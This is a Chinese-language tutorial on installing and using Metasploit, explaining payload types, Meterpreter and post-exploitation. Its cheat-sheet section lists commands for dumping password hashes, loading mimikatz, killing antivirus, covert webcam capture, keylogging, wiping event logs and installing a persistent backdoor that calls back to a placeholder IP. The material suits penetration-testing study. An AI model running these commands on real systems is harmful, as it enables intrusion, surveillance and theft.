【渗透测试框架】Metasploit-Framework(MSF)安装与使用
文章目录
前言
本篇文章主要介绍一下Metasploit-Framework渗透测试工具的基本使用,以及在实际操作中所用的技术点。
一、Metasploit简介
Metasploit Framework(MSF) 是一款开源安全漏洞检测工具,其中附带数千个已知的软件漏洞,并能保持持续更新状态,Metasploit可以用来进行信息收集 、漏洞探测、漏洞利用、以及后渗透的一些操作,功能强大,刚开始的Metasploit是采用Perl语言编写的,但是后来更新版本后,就换成用Ruby语言来编写了。
在KaLi中集成了Metasploit工具,接下来就介绍该工具的安装以及一些使用方法吧!
二、Metasploit安装及更新
一键安装
工具下载地址:
https://metasploit.com/
https://windows.metasploit.com/
或使用如下命令,即可一键安装
curl https://raw.githubusercontent.com/rapid7/metasploitomnibus/master/config/templates/metasploit-frameworkwrappers/msfupdate.erb > msfinstall
adduser msf #添加msf用户
su msf #切换到msf用户
cd /opt/Metasploit-framework/bin #切换到msf所在的目录
./msfconsole #以后启动msfconsole,切换到msf用户下启动,这样会同步数据库。如果使用root用户启动的话,不会同步数据库
也可以将msfconsole加入到执行目录下,这样在任何目录直接msfconsole就可以了
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole
更新Metasploit
之前一直用的更新命令:msfupdate
但在新版本的MSF中,这个命令将不适用,输入msfupdate将会出现如下提示
更新命令:apt update && apt install metasploit-framework
三、Metasploit数据库连接
MSF默认数据库为Postgresql
开启Postgresql服务器
启动Postgresql后,使用msfdb init 创建并初始化msf数据库。
进入MSF框架,使用命令db_status
查看当前数据库状态
每次启动前需要将Postgresql数据库启动:service Postgresql start
四、Metasploit模块介绍
输入命令:ls /usr/share/metasploit-framework/modules -al //查看所有模块
Exploits 漏洞利用模块,这个模块通常是用于对某些可能存在漏洞的目标进行漏洞利用。
Payloads 攻击载荷,exploit成功之后就会执行payload,这段payload可以是反弹代码,可以是添加用户的代码。
Auxiliary 辅助模块,该模块是用于辅助渗透的,比如端口扫描、存活探测,暴力破解。
Post 后渗透模块,通过bgrun调用,该模块一般用于内网渗透。
Encodes 编码器模块,对payload进行编码加密,可躲过部分AV。
Evasion 躲避模块,该模块分类下只有4个,都是为了躲避微软的限制或者是杀软的,免杀效果很一般(专门针对Windows木马躲避技术)。
Nops 提高payload稳定性及维持大小
Exploit模块
漏洞利用模块(也就是Exploit,俗称Exp)
在Kali中。Exploit攻击模块路径在: ls /usr/share/metasploit-framework/modules/exploits -al
这里面有针对于Windows
、Linux
、Unix
、android
等不同平台的 exploit,根据实际情况去选择。
Payload模块
Payload(攻击载荷),所在路径:ls /usr/share/metasploit-framework/modules/payloads -al
Payload
中包含攻击目标系统后在目标主机上运行的恶意代码,在MSF中payload模块是一种特殊模块,它能以漏洞利用模块运行,并针对目标主机存在的安全漏洞实施攻击的操作,而其中运行的代码就是payload在目标主机中一种实施行为。
说到 payload 不得不提及一个专有名词:ShellCode
,ShellCode是Payload中的精髓部分,在实施渗透攻击作为攻击载荷运行的一组机器命令。ShellCode通常是用汇编语言编写。在实际情况下,目标系统执行了ShellCode这一组指令之后,才会提供一个命令行Shell。
在Payload模块中主要有以下三种类型:
- Singles
- Stagers
- Stages
Singles:是一种完全独立的Payload,而且使用起来就像运行calc.exe一样,例如添加一个系统用户或删除一份文件。由于Singles payload是完全独立的,因此他们有可能会被类似netcat这样的非Metasploit处理工具所捕捉到。
Stagers:这种Payload负责建立目标主机用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(也就是反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(也就是正向通信)
Stages:是Stagers payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。
在 MSF中,我们可以通过Payload的名称和使用格式来推断它的类型:
Kali终端执行show payloads
命令之后,会显示如下payload列表
如上图!列表中windows/powershell_bind_tcp就是一个Single Payload
,不包含Stage Payload,而windows/meterpreter/reverse_tcp则由一个Stage Payload(meterpreter)
和一个Stager Payload(reverse_tcp)
组成。
常见的几种 Stagers Payload
Windows/meterpreter/bind_tcp #正向连接
Windows/meterpreter/reverse_tcp #反向连接
Windows/meterpreter/reverse_http #通过监听80端口反向连接
Windows/meterpreter/reverse_https #通过监听443端口反向连接
正向连接使用场景:攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机。
反向连接使用场景:攻击机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。
反向连接80和443端口使用场景:被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口
或443端口
与外部通信。
在我们实施攻击动作时,由于在目标主机上执行恶意程序或木马,这时,我们的Kali监听就会收到一个meterpreter会话进行后续的渗透工作,那么meterpreter到底是干什么的呢,接下来就介绍一下meterpreter
。
Meterpreter
工具介绍
在Metasploit-Framework中,Meterpreter是一种后渗透工具,他属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload,Meterpreter属于Stages payload。这种工具是基于“内存DLL注入“理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。
工作原理
首先目标先要执行初始的溢出漏洞会话连接,可能是bind正向连接,或者反弹reverse连接。反射连接的时候加载dll链接文件,同时后台悄悄处理dll文件。其次Meterpreter核心代码初始化,通过socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。
工具特点
- Meterpreter完全驻留在内存,没有写入磁盘。
- Meterpreter注入的时候不会产生新的进程,并可以移植到其它正在运行的进程。
- 默认情况下,Meterpreter的通信是加密的,具有安全性的。
- 扩展性,许多新的特性模块可以被加载。
MSF常用参数配置
1.进入框架:msfconsole
2.使用search命令搜索相关漏洞:search 漏洞编号
3.使用use进入模块:use exploit/windows/……
4.使用info查看模块信息。
5.设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
6.查看模块需要配置的参数:show options
7.查看需要配置但还未配置的参数:show missing
8.参数设置:set Rhost 0.0.0.0、set Rport 端口号
9.执行攻击:exploit/run
10.得到meterpreter会话,执行后渗透阶段。
不同阶段攻击所用的步骤也是不一样的,根据实际情况去配置,做到灵活运用!
在如上的利用方法除外,我们也可以将攻击代码写入到 configure.rc
(只要是以.rc结尾的文件)配置文件中,然后使用命令:msfconsole -r configure.rc
执行攻击。
五、Metasploit实战攻击
【漏洞攻击】场景实战:永恒之蓝 MS17-010 远程溢出漏洞(CVE-2017-0143)
【漏洞攻击】场景实战:MS08-067 (CVE-2008-4250) 远程命令执行漏洞
六、后渗透攻击阶段
后渗透常用命令
sysinfo #查看目标主机系统信息
run scraper #查看目标主机详细信息
run hashdump #导出密码的哈希
load kiwi #加载mimikatz
ps #查看目标主机进程信息
pwd #查看目标当前目录(windows)
getlwd #查看目标当前目录(Linux)
search -f *.jsp -d e:\ #搜索E盘中所有以.jsp为后缀的文件
download e:\a.txt /root #将目标机的e:\a.txt文件下载到/root目录下
upload /root/a.txt d:\test #将/root/a.txt上传到目标机的 d:\test\ 目录下
getpid #查看当前Meterpreter Shell的进程PID
migrate 123 #将当前Meterpreter Shell的进程迁移到PID为123的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权,获得的当前用户是administrator才能成功
run killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
可选参数如下
例如:meterpreter>execute -i -f cmd
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
load / run #使用扩展库
run persistence -X -i 5 -p xxxx -r xxx.xxx.xx.x #反弹时间间隔是5s 会自动连接xxx.xxx.xx.x的xxxx端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r xxx.xxx.x.x -p 3389 #将xxx.xxx.x.x的3389端口转发到本地的3389端口上,这里的xxx.xxx.x.x是获取权限的主机的ip地址
clearev #清除日志
POST后渗透常用模块
该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击
动作。
Meterpreter所支持的文件系统命令如下:
cd: 切换目标目录;
cat: 读取文件内容;
rm: 删除文件;rm -rf /* 该命令需严谨使用
edit:使用vim编辑文件
ls:获取当前目录下的文件;
mkdir:新建目录;
rmdir:删除目录;
生成持续性后门程序
获取到目标主机 meterpreter会话后,可以短时间对目标主机进行操作,Meterpreter是基于内存DLL建立的连接,所以只要目标主机有关机操作,我们建立的连接就会断开,针对这种情况需要在目标主机留存一个持续性后门,每次开机我们就可以建立连接。
建立持续性后门有两种方法:一种是通过启动项
(persistence)、一种是通过服务启动
(metsvc)
启动项启动:使用msfvenom生成对应平台木马程序,然后放置在Windows的启动目录下
这样每次开机就可以通过启动项来启动我们预先设置好的程序,本地建立监听就能收到目标主机的Shell了。
服务启动:run persistence -X -i 5 -p XXXX -r 192.168.X.X #反弹时间间隔是5s 会自动连接192.168.X.X的XXXX端口,缺点是容易被杀毒软件查杀
#然后它就在目标机新建了这个文件:C:\Windows\TEMP*.vbs ,并把该服务加入了注册表中,只要开机就会启动
Metasploit Socks代理
使用工具:portfwd
Portfwd 是 meterpreter 提供的一种基本的端口转发。Portfwd 可以反弹单个端口到本地,并且监听,具体使用格式如下:
portfwd add -l 3389 -r 目标主机ip -p 3389 #将目标主机的3389端口转发到本地的3389端口上。
然后使用:rdesktop 127.0.0.1:3389
即可连接目标主机。
PowerShell脚本(域内信息收集)
load powershell #加载powershell功能
powershell_import /root/PowerView.ps1 #导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain #执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块
powershell_execute Invoke-UserHunter #该功能模块用于定位域管理员登录的主机
powershell_execute Get-NetForest #该模块用于定位域信息
加载stdapi
但我们得到一个meterpreter会话时,执行一些命令会显示Unknow command,这时我们可以执行:load stdapi
来加载,这样就可以执行命令了。
升级会话Session
当我们收到的不是 meterpreter类型的session会话
时,我们可以执行命令session -u id 升级session
。执行该命令,默认调用的是 post/multi/manage/shell_to_meterpreter 模块。
Meterpreter更多使用方法
meterpreter>help
参考链接:
https://www.fujieace.com/metasploit/tutorials.html
https://blog.csdn.net/qq_36119192/article/details/83215257?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165330189316782390573440%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165330189316782390573440&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-6-83215257-null-null.nonecase&utm_term=msf&spm=1018.2226.3001.4450
更多Meterpreter实战小技巧,后续更新!!!
相关文章
- XHProf的安装和使用(PHP性能测试神器)
- CentOS6.4 安装MongoDB
- linux版mantis 安装和测试笔记
- Ubuntu 20.04 安装 SVN 客户端 rabbitvcs
- centos7.6下使用Docker安装Elasticsearch8.2.0 测试一
- npm从非官方源安装
- NLP之Word2Vec:Word2Vec算法的简介(CBOW和Skip-Gram及其对比)、安装、使用方法之详细攻略
- ANT安装与测试和简明教程
- Anaconda:Anaconda安装图文教程及其tensorflow安装、运行、测试之最强详细攻略
- protobuf 安装 及 小测试
- mahout安装和测试
- 008-docker-安装-tomcat:8.5.38-jre8
- 【云原生之docker-compose篇】docker-compose工具的安装和基本使用
- TensorRT之安装与测试(Windows和Linux环境下安装TensorRT)
- Win10安装RNDIS驱动使用ssh
- Ubuntu18.04安装windows依赖库(winetricks)(五十六)
- Pytest自动化测试框架教程17-安装和使用插件编写
- 2021年完美安装配置YOLO教程:成功在Windows10下安装YOLO开发环境并成功完成目标检测测试「基于C/C++版本」
- C++使用技巧(十三):Google-GTest测试框架的安装与使用(demo源码实现)
- Centos7安装trojan脚本
- 2022全网最全最细的jmeter接口测试教程以及接口测试流程详解 — Meter的安装和启动
- Linux软件包管理— 源码包的安装和卸载
- 【每天学习亿点点系列】接口测试基础 —— Jmeter安装和配置